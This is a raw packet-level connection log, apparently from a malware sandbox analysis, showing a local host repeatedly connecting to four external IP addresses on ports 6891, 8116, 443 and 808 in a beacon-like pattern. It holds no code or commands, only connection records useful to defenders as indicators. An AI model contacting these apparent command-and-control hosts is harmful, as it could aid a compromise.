Oct 28, 2021 04:52:42.818336964 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.818382025 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.818783998 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.822762966 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.822885036 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.827532053 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.831737995 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.831857920 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:42.988976002 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.988997936 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.989099026 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.997021914 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.997054100 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:42.997080088 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.374368906 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.374423027 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.374448061 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.374495983 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.376454115 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.376503944 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.376562119 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.376640081 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.379729033 CEST	49992	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.380647898 CEST	49991	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:43.495877028 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.499818087 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.545207024 CEST	6891	49992	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.546832085 CEST	6891	49991	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:43.547454119 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.547647953 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.548286915 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.552661896 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.552906036 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.553630114 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.595894098 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.596086025 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.596230984 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.597126007 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.609996080 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.610313892 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.610443115 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.611001015 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.614563942 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.614792109 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.615353107 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.615488052 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.662218094 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.662725925 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.671932936 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.672327042 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.672791958 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.702229023 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.832256079 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.832303047 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.832581043 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.838206053 CEST	49994	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.843064070 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.843116999 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.843276024 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.843353987 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.846326113 CEST	49993	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:43.886014938 CEST	8116	49994	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.902748108 CEST	8116	49993	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:43.955723047 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.955770016 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:43.955874920 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.956779003 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.956792116 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:43.994796038 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.994858027 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:43.994968891 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.996269941 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:43.996303082 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.441817999 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.441984892 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.442730904 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.442744017 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.447438955 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.447455883 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.447583914 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.447591066 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.523123026 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.523261070 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.524035931 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.524060011 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.527805090 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.527853012 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:44.527887106 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:44.527899981 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.131937981 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.132030010 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.132047892 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.132096052 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.138501883 CEST	49995	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.138528109 CEST	443	49995	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.234776974 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.234855890 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.234924078 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.234955072 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.237552881 CEST	49996	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:45.237590075 CEST	443	49996	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:45.266223907 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.354341030 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.428129911 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.428251028 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.429249048 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.514954090 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.515081882 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.519839048 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.588756084 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.588977098 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.589078903 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.589699030 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.593700886 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.593836069 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.680607080 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.680668116 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.680823088 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.681397915 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.687268019 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.687490940 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:45.749038935 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.752969027 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.753004074 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.753027916 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.753050089 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.841907024 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.847677946 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.848284960 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:45.848320007 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.133831978 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.133855104 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.134002924 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:46.146274090 CEST	49997	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:46.230036020 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.230088949 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.230300903 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:46.235537052 CEST	49998	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:46.270504951 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.305731058 CEST	808	49997	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.354058027 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.396466970 CEST	808	49998	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:46.437120914 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.437313080 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.438410044 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.520600080 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.520812035 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.521662951 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.604836941 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.605072975 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.605263948 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.605712891 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.609613895 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.609752893 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.687954903 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.688024998 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.688213110 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.689021111 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.696382046 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.696594954 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:46.776180983 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.776211977 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.776228905 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.863115072 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:46.902188063 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.158178091 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.158207893 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.158289909 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.158322096 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.173465967 CEST	49999	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.242301941 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.242341995 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.242469072 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.242918015 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.245184898 CEST	50000	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:47.341012001 CEST	6891	49999	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.353878975 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.354940891 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.408157110 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.408365011 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.408464909 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.408596039 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.409356117 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.409454107 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.411411047 CEST	6891	50000	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:47.462235928 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.462507010 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.462579012 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.463112116 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.463579893 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.463936090 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.463990927 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.464432955 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.467113972 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.467241049 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.468168974 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.468275070 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.519490004 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.519872904 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.522001982 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.522380114 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.559714079 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.693286896 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.693312883 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.693366051 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.693402052 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.695034981 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.695096016 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.695154905 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.695203066 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.701071978 CEST	50002	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.702233076 CEST	50001	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:47.753393888 CEST	8116	50002	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.755881071 CEST	8116	50001	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:47.823683977 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.823731899 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:47.823822021 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.824387074 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.824402094 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:47.828083038 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.828125954 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:47.828201056 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.828785896 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:47.828800917 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.314815044 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.314975977 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.315812111 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.315829039 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.321451902 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.321472883 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.321624994 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.321650028 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.322302103 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.322465897 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.323267937 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.323286057 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.328586102 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.328608036 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:48.328766108 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:48.328777075 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.007193089 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.007282019 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.007340908 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.007376909 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.010343075 CEST	50003	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.010376930 CEST	443	50003	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.021922112 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.022012949 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.022110939 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.022141933 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.030014038 CEST	50004	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:49.030045986 CEST	443	50004	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:49.119832993 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.159298897 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.281727076 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.281831980 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.282573938 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.326699018 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.326842070 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.327481985 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.444233894 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.446316004 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.446433067 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.447149992 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.452480078 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.452661037 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.494673014 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.494741917 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.494816065 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.495242119 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.498003960 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.498112917 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.608985901 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.614265919 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.614303112 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.614310980 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.614319086 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.662405968 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.665118933 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.665144920 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.665162086 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.665179014 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.997589111 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.997642994 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:49.997761965 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:49.997802973 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:50.000611067 CEST	50005	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:50.047971964 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:50.048011065 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:50.048055887 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:50.048099041 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:50.055639029 CEST	50006	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:50.162355900 CEST	808	50005	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:50.168087006 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.168648958 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.222991943 CEST	808	50006	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:50.334496975 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.334634066 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.334768057 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.334862947 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.335720062 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.336241007 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.501925945 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.501996040 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.502062082 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.502357960 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.502434969 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.502491951 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.502748966 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.504525900 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.507029057 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.507112980 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.507605076 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.507755041 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:50.673295975 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.673324108 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.673341036 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.673907042 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.674212933 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:50.674283028 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.057365894 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.057409048 CEST	6891	50007	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.057537079 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:51.059006929 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.059031010 CEST	6891	50008	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:51.059127092 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:51.064091921 CEST	50008	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:51.066653967 CEST	50007	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:51.184962034 CEST	50009	8116	192.168.2.5	185.56.219.47
